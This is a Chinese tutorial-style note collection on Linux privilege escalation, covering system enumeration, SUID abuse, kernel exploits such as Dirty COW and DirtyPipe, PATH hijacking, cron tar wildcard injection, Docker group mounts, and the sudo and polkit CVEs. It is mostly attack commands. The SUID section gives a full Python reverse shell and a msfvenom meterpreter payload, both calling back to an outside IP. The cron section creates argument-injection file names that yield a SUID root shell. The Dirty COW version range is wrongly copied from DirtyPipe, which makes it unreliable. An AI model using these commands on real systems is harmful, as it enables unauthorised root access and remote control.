linux提权【笔记总结】

文章目录

  • 信息收集
    • 通过命令收集信息
      • 内核,操作系统,设备信息等
      • 用户信息
      • 环境信息
      • 进程与服务
      • 安装的软件
      • 服务与插件
      • 计划任务
      • 查看是否存在明文密码
      • 查看与主机的通信信息
      • 查看日志信息
    • 通过脚本收集信息
      • LinEnum脚本
          • 介绍
          • 复现
      • Linuxprivchecker
          • 复现
      • linux-exploit-suggester
      • linux-exploit-suggester-2
          • 复现
  • SUID提权
      • SUID介绍
      • 查找具有SUID权限的程序
      • 复现
  • 内核提权
    • 脏牛提权
      • 介绍
      • 影响版本
      • 复现
    • DirtyPipe提权
      • 介绍
      • 影响版本
      • 复现
          • 法一
          • 法二
  • 环境变量提权
      • 介绍
      • 复现
          • 环境搭建
          • 利用
  • 定时备份任务提权
      • 介绍
      • 复现
  • 数据库提权
      • 自动化提权
          • Multiple工具
            • 复现
  • Rsync未授权本地覆盖
      • 介绍
      • 复现
  • Docker组挂载
      • 介绍
      • 复现
  • Sudo提权
      • 介绍
      • 影响版本
      • 复现
  • Polkit漏洞提权
      • 介绍
      • 复现

信息收集

  1. 通过命令收集信息

    1. 内核,操作系统,设备信息等

      1. 打印所有可用的系统信息,uname -a

      2. 打印内核信息,cat /proc/version

      3. 打印分发信息,cat /proc/version

      4. 打印CPU信息,cat /proc/cpuinfo

    2. 用户信息

      1. 列出系统上所有用户,cat /etc/passwd

      2. 查看所有组,cat /etc/group

      3. 列出所有超级用户,grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'

      4. 列出用户上次登陆情况,lastlog

      5. 查看当前谁在登录,在做什么,w

    3. 环境信息

      1. 显示环境变量,env

      2. 显示可用的shell, cat /etc/shells

    4. 进程与服务

      1. 显示端口号与服务,cat /etc/services

      2. 动态地监视系统的进程和资源使用情况,top

      3. 显示当前系统中所有运行中的进程的详细信息,ps aux

    5. 安装的软件

      1.  ls -alh /usr/bin/
         ls -alh /sbin/
         ls -alh /var/cache/yum/
         dpkg -l
        
    6. 服务与插件

      1.  cat /etc/syslog.conf
         cat /etc/chttp.conf
         cat /etc/lighttpd.conf
         cat /etc/cups/cupsd.conf
         cat /etc/inetd.conf
         cat /etc/apache2/apache2.conf
         cat /etc/my.conf
         cat /etc/httpd/conf/httpd.conf
         cat /opt/lampp/etc/httpd.conf
         ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
        
    7. 计划任务

      1.  crontab -l
         ls -alh /var/spool/cron
         ls -al /etc/ | grep cron
         ls -al /etc/cron*
         cat /etc/cron*
         cat /etc/at.allow
         cat /etc/at.deny
         cat /etc/cron.allow
         cat /etc/cron.deny
         cat /etc/crontab
         cat /etc/anacrontab
         cat /var/spool/cron/crontabs/root
        
    8. 查看是否存在明文密码

      1.  grep -i user [filename]
         grep -i pass [filename]
         grep -C 5 "password" [filename]
         find , -name "*.php" -print0 | xargs -0 grep -i -n "var $password"
        
    9. 查看与主机的通信信息

      1.  lsof -i
         lsof -i :80
         grep 80 /etc/services
         netstat -anptl
         netstat -antup
         netstat -antpx
         netstat -tulpn
         chkconfig --list
         chkconfig --list | grep 3:on
         last
         w
        
    10. 查看日志信息

      1.  cat /var/log/boot.log
         cat /var/log/cron
         cat /var/log/syslog
         cat /var/log/wtmp
         cat /var/run/utmp
         cat /etc/httpd/logs/access_log
         cat /etc/httpd/logs/access.log
         cat /etc/httpd/logs/error_log
         cat /etc/httpd/logs/error.log
         cat /var/log/apache2/access_log
         cat /var/log/apache2/access.log
         cat /var/log/apache2/error_log
         cat /var/log/apache2/error.log
         cat /var/log/apache/access_log
         cat /var/log/apache/access.log
         cat /var/log/auth.log
         cat /var/log/chttp.log
         cat /var/log/cups/error_log
         cat /var/log/dpkg.log
         cat /var/log/faillog
         cat /var/log/httpd/access_log
         cat /var/log/httpd/access.log
         cat /var/log/httpd/error_log
         cat /var/log/httpd/error.log
         cat /var/log/lastlog
         cat /var/log/lighttpd/access.log
         cat /var/log/lighttpd/error.log
         cat /var/log/lighttpd/lighttpd.access.log
         cat /var/log/lighttpd/lighttpd.error.log
         cat /var/log/messages
         cat /var/log/secure
         cat /var/log/syslog
         cat /var/log/wtmp
         cat /var/log/xferlog
         cat /var/log/yum.log
         cat /var/run/utmp
         cat /var/webmin/miniserv.log
         cat /var/www/logs/access_log
         cat /var/www/logs/access.log
         ls -alh /var/lib/dhcp3/
         ls -alh /var/log/postgresql/
         ls -alh /var/log/proftpd/
         ls -alh /var/log/samba/
        
         Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
        
  2. 通过脚本收集信息

    1. LinEnum脚本

      1. 介绍
        1. Linux枚举及权限提升检查工具,该工具除了RCE无法收集,其它的信息都能收集,主要收集:内核、发行版本、系统信息、用户信息、特权访问、环境、作业、任务、服务、web服务的版本、默认/弱口令、搜索等
        2. 下载地址:LinEnum
      2. 复现
        1. 靶场:已获得普通用户权限,ubantu系统
        2. 首先在/tmp上传脚本,因为该目录可读可写
        3. 赋予脚本执行权限,chmod +x LinEnum.sh
        4. 执行脚本,./LinEnum.sh
    2. Linuxprivchecker

      1. 复现
        1. 将脚本上传上去之后直接执行即可,python linuxprivchecker.py
    3. linux-exploit-suggester

      1. 上传至/tmp目录之后赋予权限执行他即可

        1.  chmod +x linux-exploit-suggester.sh  ##添加执行权限
           ./linux-exploit-suggester.sh   ##执行脚本
          
      2. 将对应脚本下载下来

      3. 编译脚本

        1.  gcc 41458.c -o 41458   ##前面15150.c是文件,后面的是自定义的编译后文件名称
          
      4. 执行脚本,./41458

    4. linux-exploit-suggester-2

      1. 复现
        1. 上传脚本,赋予脚本权限,执行脚本

          1.  chmod +x linux-exploit-suggester-2.pl  ##添加执行权限
             ./linux-exploit-suggester-2.pl  ##运行脚本
            
        2. 根据漏洞信息,利用方式与上述一下

SUID提权

  1. SUID介绍

     * **SUID(Set User ID)**  是一个特殊的权限位,当设置在可执行文件上时,无论谁运行该文件,该文件都会以文件所有者的身份运行。
     * 这意味着如果一个可执行文件的所有者是 `root`,并且该文件被设置了 SUID 位,那么无论任何用户运行这个文件,程序都将拥有 `root` 用户的权限。
    
  2. 查找具有SUID权限的程序

    1.  find / -perm -u=s -type f 2>/dev/null
       find / -user root -perm -4000 -exec ls -ldb {} ;
       find / -user root -perm -4000 -print 2>/dev/null
       find / -perm -u=s -type f 2>/dev/null
       -perm 指定权限
       -u=s 表示SUID权限
       -type 指定文件类型
       f 表示常规文件,而不是目录或特殊文件
       2 表示该进程的第二个文件描述符,即stderr(标准错误)
       /dev/null 是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
      
    2. 常见的存在提权的命令汇总

      1. CTFOBins

        SUID提权参考

  3. 复现

    1. 靶场:使用chmod u+s /usr/bin/find命令给find加上SUID权限,ubantu系统

    2. 使用find / -perm -u=s -type f 2>/dev/null命令查看到系统存在find命令的SUID

    3. 直接使用find 41458.c -exec whoami \;命令执行即为root命令执行

    4. 反弹shell,如果直接用nc进行弹shell的话,就会发现还是普通用户,所以我们需要借助python的命令来弹shell、

      1.  find 41458.c -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("43.139.186.80",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' \;
        
    5. 也可以通过msf进行webshell

      1. 生成木马,msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=43.139.186.80 LPORT=5566 -f elf > cong.elf

      2. 设置5566端口监听

      3. 上传木马,给予权限并运行木马

        1.  find 41458.c -exec chmod +x cong.elf \;
           find 41458.c -exec ./cong.elf \;
          

内核提权

  1. 脏牛提权

    1. 介绍

      1. 脏牛(Dirty COW,COW代表 Copy-On-Write)是一个在Linux内核中发现的安全漏洞,正式的漏洞编号为 CVE-2016-5195。它是一个关于内存管理的竞态条件漏洞,可以允许本地用户获得对只读内存的写入权限,从而实现提升权限。这个漏洞被发现影响了自1998年以来几乎所有版本的Linux内核。
    2. 影响版本

      1. Linux Kernel版本 >= 5.8
      2. Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102
    3. 复现

      1. EXP下载:脏牛EXP

      2. 将exp上传至服务器

      3. 编译exp的c文件,gcc -pthread dirty.c -o dirty -lcrypt

      4. 执行exp,./dirty 123456,成功了就会出现firefart用户,密码为123456,我这里不知道为什么显示是成功的,实际上没有

  2. DirtyPipe提权

    1. 介绍

      1. DirtyPipe 是一个在 Linux 内核中发现的严重安全漏洞,具体编号为 CVE-2022-0847。这个漏洞影响了 Linux 内核版本 5.8 及以上,直到被发现并修复前。它允许本地用户利用一个错误,通过管道(pipe)操作来覆盖只读文件的内容,包括系统文件。这种能力使得普通用户可以修改原本只有系统管理员才能访问的文件,从而获取更高的系统权限或执行未授权的代码,导致潜在的安全风险和数据泄露。这个漏洞因其涉及的管道(pipe)操作和数据覆盖的特点而得名“DirtyPipe”。
    2. 影响版本

      1. Linux Kernel版本 >= 5.8
      2. Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102
    3. 复现

      1. EXP下载:DirtyPipe

      2. 法一
        1. 上传EXP,赋予权限,运行EXP

          1.  chmod +x Dirty-Pipe.sh
             bash Dirty-Pipe.sh
            
      3. 法二
        1. 直接执行以下命令

          1.  gcc -o dirtypipez dirtypipez.c
             ./dirtypipez /usr/bin/su
            

环境变量提权

  1. 介绍

    1. 原理就是原本有一个sh文件可以执行ps命令并且被赋予SUID权限,那么使用者调用这个文件时的权限即为root,就是说使用者用root权限来调用ps命令,这就是导致漏洞的根本原因,攻击者只需要将ps命令的路径优先级换成恶意的bash路径,那么服务器就会使用root权限去执行bash了从而获取到root权限
  2. 复现

    1. 环境搭建
      1. 在/tmp(这个目录通常可读可写)目录下创建shell.c文件,写以下内容

        1.  #include <stdlib.h>
          
           int main() {
               system("ps");
               return 0;
           }
          
      2. 编译shell.c文件,gcc shell.c -o shell

      3. 赋予其SUID权限让普通用户也可以执行,chmod u+s shell

    2. 利用
      1. 当用户执行shell文件时,他会在这里的环境变量中一个一个寻找是否存在ps文件,跟执行/bin/ps命令原理一样

      2. 所以我们只要将恶意的bash路径放在放在前面并命名为ps,cp /bin/bash /tmp/ps

      3. 改变环境变量的优先级,export PATH=/tmp:$PATH

      4. 执行脚本即可

定时备份任务提权

  1. 介绍

    1. 定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。cron 是 Linux 或者类 Unix 系统中最为实用的工具之一。cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/ 目录
    2. 提权的前提是存在一个执行危险脚本的任务计划,并且这个任务计划执行的执行脚本可以被非root权限用户修改覆盖,并可以正常执行任务计划
  2. 复现

    1. 靶场搭建

      1. 假设我们需要打包备份13目录下的文件,那我们就在/tmp目录下创建cong.sh文件,在里面写入打包的命令,cd /tmp/123;tar -zcf /tmp/bf.tar.gz *

      2. 给备份脚本执行权限,chmod +x cong.sh

      3. 编辑计时任务,写入计时计划来定时执行cong.sh文件进行备份

        1.  vi /etc/crontab   ##编辑定时任务
           * * * * * root /tmp/bf.sh  ##创建定时任务
           cat /etc/crontab   ##查看定时任务
          
    2. 利用

      1. 查看下定时任务,cat /etc/crontab

      2. 直接执行以下命令

        1.  echo "" > --checkpoint=1   
           echo "" > "--checkpoint-action=exec=sh test.sh"   ##执行test.sh文件
           echo 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash' > test.sh  ##将/bin/bash复制到/tmp下,并提权SUID权限,同时将命令写入到test.sh脚本中
           chmod +x test.sh  ##赋予执行权限
          
      3. 直接执行./bash -p命令,成功提权

数据库提权

  1. 自动化提权

    1. Multiple工具
      1. 下载地址

        1. MDUT
      2. 复现
        1. 先打开工具,java -jar 工具名

        2. 靶场搭建

          1. 首先搭建个pikachu

          2. vi /etc/my.cnf修改配置,在[mysqld]加入secure-file-priv = NULL

          3. 重启sql服务,sudo systemctl restart mysqld

          4. 检查是否设置,show global variables like '%secure%';

        3. 如果我们直接连接肯定是不行的,因为这是本地数据库,我们需要进行内网穿透,用冰蝎的内网穿透来将3306的端口转发到2222端口出来

        4. 数据库有点复杂,靶场又没有,先不复现,大概就是用哪个工具连接端口2222即可,然后一直用鼠标点就行了,这个工具win和linux系统都行

Rsync未授权本地覆盖

  1. 介绍

    1. Rsync是一种广泛使用的文件同步和文件传输工具,它能够有效地同步远程和本地系统之间的文件。然而,当Rsync配置不当时,可能会引起严重的安全问题,比如“Rsync未授权本地覆盖”。这种情况通常发生在Rsync服务器对外开放,且未正确设置访问控制和认证机制时。未经授权的用户可以利用这个漏洞,通过Rsync向目标系统上传或修改文件,甚至可能覆盖关键文件,从而控制或破坏系统。因此,确保适当的安全配置,如设置访问权限列表、使用SSH为传输加密等,是非常重要的。
  2. 复现

    1. ((20240812233025-1v91wyl ‘未授权访问’))

Docker组挂载

  1. 介绍

    1. 利用docker服务启动镜像挂载目录,从而来访问root目录、etc目录等敏感文件来进行权限提升。虽然可以用docker执行任意命令,但是这个在docker组的用户已经在sudoders文件里的
    2. 前提条件:已获取本地普通用户权限,且普通用户在docker组中。
  2. 复现

    1. 直接使用docker run -v /root:/mnt -it alpine命令即可

Sudo提权

  1. 介绍

    1. sudo被披露存在一个基于堆的缓冲区溢出漏洞(CVE-2021-3156),可导致本地权限提升。

            当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行
      

      命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。

  2. 影响版本

    1. sudo: 1.8.2 - 1.8.31p2
    2. sudo: 1.9.0 - 1.9.5p1
  3. 复现

    1. 脚本链接:blasty/CVE-2021-3156 (github.com)

    2. 查看sudo版本是否存在漏洞,sudo --version

    3. 执行sudoedit -s /存在报错则存在漏洞

    4. 下载脚本在/tmp目录下,git clone https://github.com/blasty/CVE-2021-3156.git

    5. 进入项目,cd CVE-2021-3156

    6. 编译项目,make

    7. 赋予执行权限,chmod a+x sudo-hax-me-a-sandwich

    8. 执行./sudo-hax-me-a-sandwich命令,获取脚本编号

    9. 使用uname -a获取靶机系统信息

    10. 将脚本编号与靶机的系统信息选择对应的编号,./sudo-hax-me-a-sandwich 2

    11. 执行成功之后即可获取root权限

Polkit漏洞提权

  1. 介绍

    1. 漏洞影响2009年5月至今的所有polkit版本。
    2. 由于polkit是系统预装工具,所有存在polkit的linux系统均受影响。如:CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等
  2. 复现

    1. 使用dpkg -l policykit-1命令,命令存在则可能存在漏洞

    2. 在tmp目录下将项目下载下来,git clone https://github.com/berdav/CVE-2021-4034.git

    3. 进入项目,cd CVE-2021-4034

    4. 编译项目,make

    5. 运行项目,./cve-2021-4034

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/892212.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

URDF统一机器人建模语言

统一机器人建模语言 URDF&#xff08;Unified Robot Description Format&#xff09;统一机器人描述格式&#xff0c;URDF使用XML格式描述机器人文件。 我们从下面四个方面介绍URDF&#xff1a; URDF的组成介绍 URDF-Link介绍 URDF-Joint介绍 创建一个简单的URDF…

目标检测指标:AP,mAP

目标检测指标&#xff1a;AP&#xff0c;mAP 论文&#xff1a;A Survey on Performance Metrics for Object-Detection Algorithms 文章目录 目标检测指标&#xff1a;AP&#xff0c;mAP摘要1 介绍2 主要的性能指标TP、FP、FNP、RAP A P 11 AP_{11} AP11​ A P a l l AP_{all}…

Chromium HTML Tags与c++接口对应关系分析

一、HTML 标签(HTML Tags) <a> <head> <img>等等这些标签在c中的接口是如何定义和查找的呢&#xff1f; 更多标签参考&#xff1a; HTML <a> target 属性 (w3school.com.cn) 二、html_tag_names.json5 (third_party\blink\renderer\core\html\htm…

基于SpringBoot的体育商城购物系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏&#xff1a;…

【AI大模型】初识LangChain:功能强大的语言模型框架

目录 &#x1f354; 什么是LangChain &#x1f354; LangChain主要组件 2.1 Models 2.1.1 LLMs (大语言模型) 2.1.2 Chat Models (聊天模型) 2.1.3 提示模板 2.1.4 Embeddings Models(嵌入模型) 2.2 Prompts 2.3 Chains(链) 2.4 Agents (代理) 2.5 Memory 2.6 Inde…

爬虫post收尾以及cookie加代理

爬虫post收尾以及cookie加代理 目录 1.post请求收尾 2.cookie加代理 post收尾 post请求传参有两种格式&#xff0c;载荷中有请求载荷和表单参数&#xff0c;我们需要做不同的处理。 1.表单数据&#xff1a;data字典传参 content-type: application/x-www-form-urlencoded; …

鸿蒙开发案例:HarmonyOS NEXT语法实现2048

【实现的功能】 • 游戏逻辑&#xff1a;实现了2048游戏的核心逻辑&#xff0c;包括初始化游戏盘面、添加随机方块、处理四个方向的滑动操作等。 • UI展示&#xff1a;构建了游戏的用户界面&#xff0c;显示得分、游戏盘面&#xff0c;并提供了重新开始按钮。 • 用户交互&…

【Docker基础六】docker-compose安装zookeeper、kafka、kafdrop

本文使用 Bitnami/Kafka 提供的kafka容器镜像。详情参考&#xff1a;bitnami/kafka - Docker 镜像 |Docker 中心 创建Docker Compose文件 创建一个名为 docker-compose.yml 的文件&#xff0c;并复制以下内容 version: "3.8" services:zookeeper:image: docker.io…

【C语言】赋值运算符自增、自减

C语言中用来表示赋值&#xff0c;将符号右边的常量或变量的值&#xff0c;赋值给左边的变量。 等号用来表示&#xff0c;一般用于判断条件&#xff0c;属于关系运算的一种&#xff0c;所以会有返回值&#xff0c;1或0。 #include <stdio.h> /* 功能&#xff1a;赋值运算…

微信小程序后台搭建—node+mysql

想必大家都有一个困扰&#xff0c;想要用微信小程序作为前端&#xff0c;但是后端不知道如何用node连接微信小程序&#xff0c;我最近也一直困扰许久&#xff0c;所以我就想用node写后端接口在连接微信小程序&#xff0c;记录一下学习笔记 前言 前端:微信小程序 后端:nodeexpr…

QT QML 练习8-Simple Transformations

简单的转换&#xff08;Simple Transformations&#xff09; 转换操作改变了一个对象的几何状态。QML元素对象通常能够被平移&#xff0c;旋转&#xff0c;缩放。下面我们将讲解这些简单的操作和一些更高级的用法。 我们先从一个简单的转换开始。用下面的场景作为我们学习的开始…

去掉CODESYS的用户管理密码

首先在成功连接PLC的情况下&#xff08;CODESYS登录成功&#xff09;情况下&#xff1a; 1. 2. 3. 4.CODESYS自动化应用进阶&#xff08;二&#xff09;&#xff1a;如何安装使用CODESYS RTE及使用CODESYS RTE过程中常见的问题_哔哩哔哩_bilibili 视频在00&#xff1a;57&…

基于Spring Boot的企业客户管理系统

目录 前言 功能设计 系统实现 获取源码 博主主页&#xff1a;百成Java 往期系列&#xff1a;Spring Boot、SSM、JavaWeb、python、小程序 前言 本论文主要论述了如何使用JAVA语言开发一个企业客户管理系统&#xff0c;本系统将严格按照软件开发流程进行各个阶段的工作&am…

仿 Mac 个人网站开发 |项目复盘

一、前言 1.1 灵感来源 早年有幸看到国外大佬做的一个 基于 Web 的 Windows XP 桌面娱乐系统, 那时刚好有搭建一个个人博客的想法, 所以就想是否可以基于 WEB 实现一个仿 Mac UI 的个人博客, 以应用的形式来展示博客各个功能! 1.2 相关链接(求个 Star) 前端开源代码后端开源…

OpenAI 实时语音Realtime API接口申请: 助力开发者打造快速语音对话体验

OpenAI发布宣布推出Realtime API的公开测试版&#xff0c;所有付费开发者都可以在他们的应用中构建快速的语音对话体验。该API支持六种预设语音&#xff0c;类似于ChatGPT的高级语音模式&#xff0c;使自然的语音对话成为可能。 此外&#xff0c;Chat Completions API也新增了音…

【微服务】springboot远程docker进行debug调试使用详解

目录 一、前言 二、线上问题常用解决方案 2.1 微服务线上运行中常见的问题 2.2 微服务线上问题解决方案 2.3 远程debug概述 2.3.1 远程debug原理 2.3.2 远程debug优势 三、实验环境准备 3.1 搭建springboot工程 3.1.1 工程结构 3.1.2 引入基础依赖 3.1.3 添加配置文…

linux下使用mpi求自然数和

搭建MPI并行计算环境&#xff0c;编写 MPI程序&#xff0c;求和 1 23....1 0000。 要求: 1.使用100个进程; 2.进程0计算1 2...100, 进程1计算101 102... 200, ..... 进程99计算9901 9902... 10000; 3.调用计时函数,分别输出每个进程的计算时间; 4.需使用MPI集群通信函数和同…

【数据结构】时间、空间复杂度详解

大家有没有遇到过&#xff0c;为什么有些程序跑得飞快&#xff0c;而有些程序却慢得让人抓狂&#xff1f;我们可能都是这样认为的&#xff1a;他写的程序效率高等等&#xff0c;确实如此。但这背后隐藏着两个重要的概念&#xff1a;时间复杂度和空间复杂度。它们就像程序的“效…

MySQL的多表查询之联合查询

union联合查询 union用于合并两个或多个select语句的结果集 unnion将两个表上下拼在一起 要求&#xff1a; –两边select语句的字段数必须一致 –两边可以有不同数据类型的字段 –字段名默认按左边的表来设置 select column_name from table1 union select column_name from …

【Kubernets】配置类型资源 Etcd, Secret, ConfigMap

文章目录 所有资源概览Etcd详细说明一、基本概念二、主要功能三、架构与组件四、数据模型与操作五、安全与认证六、集群部署与管理 Secret详细说明一、Secret 的类型二、Secret 的创建三、Secret 的使用四、Secret 的更新与删除五、Secret 的安全性 ConfigMap详细说明一、Confi…